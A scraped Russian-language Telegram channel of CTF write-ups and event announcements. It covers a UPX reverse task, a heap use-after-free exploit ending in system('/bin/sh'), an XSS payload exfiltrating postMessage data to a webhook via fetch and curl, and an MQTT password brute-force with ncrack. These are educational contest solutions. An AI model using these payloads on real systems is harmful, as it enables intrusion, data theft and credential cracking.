#duckerzctf2026 #Reverse
💎 Кристально ясное задание [клик]
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
После этого запустим программу дальше и посмотрим что произошло.
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: cc: CantUnpackException: l_info corrupted
Unpacked 1 file: 0 ok, 1 error.
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
589112 <- 192360 32.65% linux/amd64 cc
Unpacked 1 file
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993aПо коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))После этого запустим программу дальше и посмотрим что произошло.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15
#duckerzctf2026 #PWN
🤱 Девочка-волшебница [клик]
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
Теперь `entries[0].content == entries[1]
Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
Arbitrary read
Теперь мы можем написать в
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
Взлом
Самый простой способ получить шел: вызвать
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")
Теперь `entries[0].content == entries[1]
Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.Arbitrary read
Теперь мы можем написать в
entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res
def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
environ, затем со стека ликаем адрес самого бинаря.Взлом
Самый простой способ получить шел: вызвать
system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".Please open Telegram to view this post
VIEW IN TELEGRAM
❤8😱5 3
#duckerzctf2026 #Web
🥪 Сэндвич 2 [клик]
Автор: @fakedesyncc
Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.
---
## Суть уязвимости
1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение
4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле
5. Скрипт: подписаться на
---
## Шаги решения
### 1. Создать webhook
- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).
### 2. Подготовить XSS-пейлоад
Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):
- Слушать событие
- Если
- Отправить родителю
Пример (подставить свой WEBHOOK):
Однострочник для отправки через API:
### 3. Отправить пейлоад в обратную связь (не в note перевода)
- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON):
Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.
### 4. Дождаться выполнения
Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт
### 5. Забрать флаг с webhook
В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг
---
## Пример через curl
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
🥪 Сэндвич 2 [клик]
Автор: @fakedesyncc
Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.
---
## Суть уязвимости
1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение
{ type: 'REQUEST_SALARY_DATA' }, и родитель отвечает сообщением { type: 'SALARY_DATA', payload: ... } с данными зарплаты (и флагом).4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле
message. Когда эта жалоба отображается в контексте виджета, выполняется наш скрипт.5. Скрипт: подписаться на
message, отправить родителю REQUEST_SALARY_DATA, в ответ принять SALARY_DATA и отправить payload на свой webhook.---
## Шаги решения
### 1. Создать webhook
- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).
### 2. Подготовить XSS-пейлоад
Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):
- Слушать событие
message.- Если
e.data.type === 'SALARY_DATA' — отправить e.data.payload на webhook.- Отправить родителю
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*'), чтобы запросить данные.Пример (подставить свой WEBHOOK):
<img src=x onerror="
window.addEventListener('message', function(e) {
if (e.data.type === 'SALARY_DATA') {
fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
}
});
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">
Однострочник для отправки через API:
<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">
### 3. Отправить пейлоад в обратную связь (не в note перевода)
- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON):
{"category":"complaint","rating":1,"message":"<твой HTML с img onerror>"}
Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.
### 4. Дождаться выполнения
Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт
SALARY_DATA, данные уйдут на webhook.### 5. Забрать флаг с webhook
В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг
---
## Пример через curl
WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
-H "Content-Type: application/json" \
-d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
#duckerzctf2026 #Hardware
Утёнок в тумане [клик]
Автор: @hun7_0r_b3_hun73d
В задаче нам дается ссылка
1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (
Команда выше как раз выполняет подписку на все топики, которые есть в брокере.
2. Слушаем трафик. Пример того, что будет видно после подписки:
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в
3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага
Можно подобрать его подобной командой:
В ответ получим, что пароль — iloveyou.
4. Авторизуемся с этим паролем:
и получаем флаг.
Шаги 3–4 показаны на скриншоте.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Утёнок в тумане [клик]
Автор: @hun7_0r_b3_hun73d
В задаче нам дается ссылка
mqtt://94.19.79.169:20012
1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v
MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (
#), который позволяет подписаться на все доступные топики. Команда выше как раз выполняет подписку на все топики, которые есть в брокере.
2. Слушаем трафик. Пример того, что будет видно после подписки:
/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в
/users/duck/secret.3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага
-u duck_fan), брокер укажет на необходимость введения пароля. Можно подобрать его подобной командой:
ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v
В ответ получим, что пароль — iloveyou.
4. Авторизуемся с этим паролем:
-u 'duck_fan' -P 'iloveyou'
и получаем флаг.
Шаги 3–4 показаны на скриншоте.
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥11❤9😱2 2
Forwarded from TaipanByte CTF
TaipanByte’s Chart CTF уже через 2 дня!🤩
В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.
🟣 Формат task-based
🟣 Команды от 1 до 5 человек
🟣 Время проведения с 13:00 14 февраля по 13:00 15 февраля (МСК).
Успейте зарегистрировать команду!⚠️
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.
Важные моменты:
🟡 Задания ориентированы преимущественно на новичков.
🟡 Каждый участник с ненулевым результатом получит сертификат об участии в соревновании.
🟡 Каждое задание будет доступно сразу на 2 языках. Русском и английском.
🟡 Призовой фонд - 30 000₽ к вашим выплатам на Standoff Bugbouny
➡️ Место проведения
➡️ Техническая поддержка
📱 Канал |🐍 CTF Платформа
В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.
Успейте зарегистрировать команду!
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.
Важные моменты:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥3 3
Кто хочет кайфануть в Сочи, рекомендую залететь в топ 30!
Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.
Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.
Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
LearningBear_Info
🚀 Открыта регистрация на Learning Bear 2026! 🚀
📅 Можно и нужно подавать заявку прямо сейчас.
🕛 Старт соревнований — 28 февраля в 12:00 (МСК).
💡 Важно:
☑️ Участвовать может любой желающий из любой точки России, 18+.
☑️ Формат — CTF с индивидуальным зачётом.…
📅 Можно и нужно подавать заявку прямо сейчас.
🕛 Старт соревнований — 28 февраля в 12:00 (МСК).
💡 Важно:
☑️ Участвовать может любой желающий из любой точки России, 18+.
☑️ Формат — CTF с индивидуальным зачётом.…
🔥8❤3
#TaipanByte
Репозиторий с райтапами от @iwtsysomf
Автор пишет, что райтапы будут обновляться, пока есть
- Hide
- Bar
- Roman's Prado
Ссылка на райтапы: [клик]🖱
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Репозиторий с райтапами от @iwtsysomf
Автор пишет, что райтапы будут обновляться, пока есть
- Hide
- Bar
- Roman's Prado
Ссылка на райтапы: [клик]
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - futsuri/TaipanByte2026-Writeups
Contribute to futsuri/TaipanByte2026-Writeups development by creating an account on GitHub.
#TaipanByte
eXecutables
Автор: @bebrovsk123
Ссылка на райтап [клик]
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
eXecutables
Автор: @bebrovsk123
Ссылка на райтап [клик]
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
Forwarded from ZeroNights
Делимся несколькими райтапами с прошедшего в прошлом году HackQuest. Это чтобы в течение трех выходных были не только хихиньки-хаханьки, но и serious business
Напоминаем, что в этом году конференция по кибербезопасности ZeroNights пройдет 30 сентября в Санкт-Петербурге! И незадолго до мероприятия мы, конечно, проведем HackQuest, где каждый может попробовать решить CTF'ки и получить билет.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2 2
#TaipanByte
Sheet Music
Вариант 1.
Для ленивых, и кто к примеру не музыкант)
Питоном нормально не вытащить точные ноты по порядку и их длительности. Лучше всего конвертировать звук в midi.
Извлекаем оригинальный звук из видео
.\ffmpeg.exe -i notes.mkv -vn -acodec pcm_s16le output_audio.wav
Закидываем в онлайн конвертер звука в midi
https://www.bearaudiotool.com/mp3-to-midi
Полученный midi файл открываем в midi редакторе, например GuitarPro
Видим ноты, почти все они верные
Это Music Sheet Cipher
Идём на https://www.dcode.fr/music-sheet-cipher
Вбиваем ноты
При декодировании получаем много вариантов
#1 JMI8F?HF2R
#2 X?W8TNVT2D
#3 JMIWF?HFQ3
#4 9?8I5?75C3
#5 X?WiTNVTcD
#6 JMIiF?HFcR
#7 L?K?H?JH4T
#8 Z?Y?V?XV4F
Закидываем в Кибершеф и пробуем ROT13 с различными сдвигами
При сдвиге -1 и включении rotate numbers получаем такое
ILH7E?GE1Q
W?V7SMUS1C
ILHVE?GEP2
8?7H4?64B2
W?VhSMUSbC
ILHhE?GEbQ
K?J?G?IG3S
Y?X?U?WU3E
Видно слово MUS1C
Так же видно ILHVE, что похоже на ILOVE или IL0VE по смыслу
Далее перебрав варианты получаем флаг
IL0VEMUS1C
Вариант 2 (проще и без ROT). Так задумывал автор таска
https://www.dcode.fr/acere-cipher
Вбиваем ноты
При декодировании получаем много вариантов
(♪, ●) WZ07SMUS1C
(●, ♪) IL07E-GE1Q
(○, ♩) WZAHS-USB2
(♩, ○) ILNUE-GEO3
(LTS) S-AHO-QOBW
Видно слово MUS1C
Так же видно IL07E, что похоже на IL0VE по смыслу
Автор: @Rean1mat0r
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Sheet Music
Вариант 1.
Для ленивых, и кто к примеру не музыкант)
Питоном нормально не вытащить точные ноты по порядку и их длительности. Лучше всего конвертировать звук в midi.
Извлекаем оригинальный звук из видео
.\ffmpeg.exe -i notes.mkv -vn -acodec pcm_s16le output_audio.wav
Закидываем в онлайн конвертер звука в midi
https://www.bearaudiotool.com/mp3-to-midi
Полученный midi файл открываем в midi редакторе, например GuitarPro
Видим ноты, почти все они верные
Это Music Sheet Cipher
Идём на https://www.dcode.fr/music-sheet-cipher
Вбиваем ноты
При декодировании получаем много вариантов
#1 JMI8F?HF2R
#2 X?W8TNVT2D
#3 JMIWF?HFQ3
#4 9?8I5?75C3
#5 X?WiTNVTcD
#6 JMIiF?HFcR
#7 L?K?H?JH4T
#8 Z?Y?V?XV4F
Закидываем в Кибершеф и пробуем ROT13 с различными сдвигами
При сдвиге -1 и включении rotate numbers получаем такое
ILH7E?GE1Q
W?V7SMUS1C
ILHVE?GEP2
8?7H4?64B2
W?VhSMUSbC
ILHhE?GEbQ
K?J?G?IG3S
Y?X?U?WU3E
Видно слово MUS1C
Так же видно ILHVE, что похоже на ILOVE или IL0VE по смыслу
Далее перебрав варианты получаем флаг
IL0VEMUS1C
Вариант 2 (проще и без ROT). Так задумывал автор таска
https://www.dcode.fr/acere-cipher
Вбиваем ноты
При декодировании получаем много вариантов
(♪, ●) WZ07SMUS1C
(●, ♪) IL07E-GE1Q
(○, ♩) WZAHS-USB2
(♩, ○) ILNUE-GEO3
(LTS) S-AHO-QOBW
Видно слово MUS1C
Так же видно IL07E, что похоже на IL0VE по смыслу
Автор: @Rean1mat0r
Please open Telegram to view this post
VIEW IN TELEGRAM
😱6❤3 2
Forwarded from SSL
Отбор (онлайн, 24 часа):
🌍 Новосибирск/область + приглашённые команды из других регионов РФ
Баллы - по динамической системе: чем меньше команд решило задачу, тем она “дороже”.
Направления задач: web / crypto / reverse / pwn / forensics / stegano / OSINT / AI / hardware (и другие).
🏁 По итогам отбора лучшие команды получат приглашение на очный финал в апреле 2026 в формате attack-defense.
🏫 18–19 апреля - школьный этап
🎓 24–26 апреля - студенческий этап
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
Forwarded from КапИБара. Подкаст нулевого дня 🎧
⚡️🎙 Выкладываем для вас 15-й выпуск подкаста «КапИБара»!
Возвращаемся в новом году с новым выпуском и новым гостем!
Поговорим про CTF с Никитой Петровым, автором канала «Райтапы по CTF» — что это вообще такое, с какими трудностями сталкиваются участники и организаторы, а также о различных смешных историях и многом другом.
Все аудио площадки где можно нас услышать - размещены здесь (на некоторых площадках подгрузка и стабильная работа осуществляется в течении 24-ёх часов).
Отдельно выделим наши флагманские площадки - Яндекс и Apple
+ появилась возможность слушать прямо в ТГ
Также в видео формате под приятную анимацию нас можно послушать на:
RuTube
YouTube
VK
Слушайте, оставляйте комментарии и советуйте друзьям 😁🎧
КапИБара. Подкаст нулевого дня. Подписаться
Возвращаемся в новом году с новым выпуском и новым гостем!
Поговорим про CTF с Никитой Петровым, автором канала «Райтапы по CTF» — что это вообще такое, с какими трудностями сталкиваются участники и организаторы, а также о различных смешных историях и многом другом.
Все аудио площадки где можно нас услышать - размещены здесь (на некоторых площадках подгрузка и стабильная работа осуществляется в течении 24-ёх часов).
Отдельно выделим наши флагманские площадки - Яндекс и Apple
+ появилась возможность слушать прямо в ТГ
Также в видео формате под приятную анимацию нас можно послушать на:
RuTube
YouTube
VK
Слушайте, оставляйте комментарии и советуйте друзьям 😁🎧
КапИБара. Подкаст нулевого дня. Подписаться
Podcast.ru
КапИБара. Подкаст нулевого дня. (Кибербезопасность, ИТ и не только) – Podcast.ru
Подкаст "КапИБара" — это простой и увлекательный разговор на темы информационной безопасности, кибербезопасности и ИТ в целом. Мы обсуждаем ситуации и события из мира ИБ, делимся опытом, шутим и иногда отвлекаемся на интересные истории. Здесь найдётся что…
❤13🔥6😱3
🕊️ Привет!
Ребята в марте планируют провести свой первый CTF.
Приходите играть – они постараются подготовить интересные таски!
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Ребята в марте планируют провести свой первый CTF.
Приходите играть – они постараются подготовить интересные таски!
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
MIPT CTF
🚩 MIPT CTF 2026 — первый CTF от Физтеха!
CTF-сообщество МФТИ запускает собственное соревнование по информационной безопасности. Интересные задачи, два этапа, призы и атмосфера Физтеха — всё это MIPT CTF 2026.
⚔️ Что ждет участников?
🔹 Quals (Online) —…
CTF-сообщество МФТИ запускает собственное соревнование по информационной безопасности. Интересные задачи, два этапа, призы и атмосфера Физтеха — всё это MIPT CTF 2026.
⚔️ Что ждет участников?
🔹 Quals (Online) —…
❤4 2🔥1 1
Forwarded from Киберболоид
🐈 Хвостатые «инцидент-менеджеры» 🐕
Они встретят у точки входа в домашний периметр, поддержат при расследовании взлома и со стрессом справиться помогут. Домашние питомцы инфобезопасников часто по-настоящему незаменимы.
🟠 В новом материале «Киберболоида» мы провели перепись киберкотов и киберсобак, а также собрали забавные истории о каждом ИБ-хвосте.
#киберболоид #lifestyle
Они встретят у точки входа в домашний периметр, поддержат при расследовании взлома и со стрессом справиться помогут. Домашние питомцы инфобезопасников часто по-настоящему незаменимы.
🟠 В новом материале «Киберболоида» мы провели перепись киберкотов и киберсобак, а также собрали забавные истории о каждом ИБ-хвосте.
#киберболоид #lifestyle
❤10🔥3 3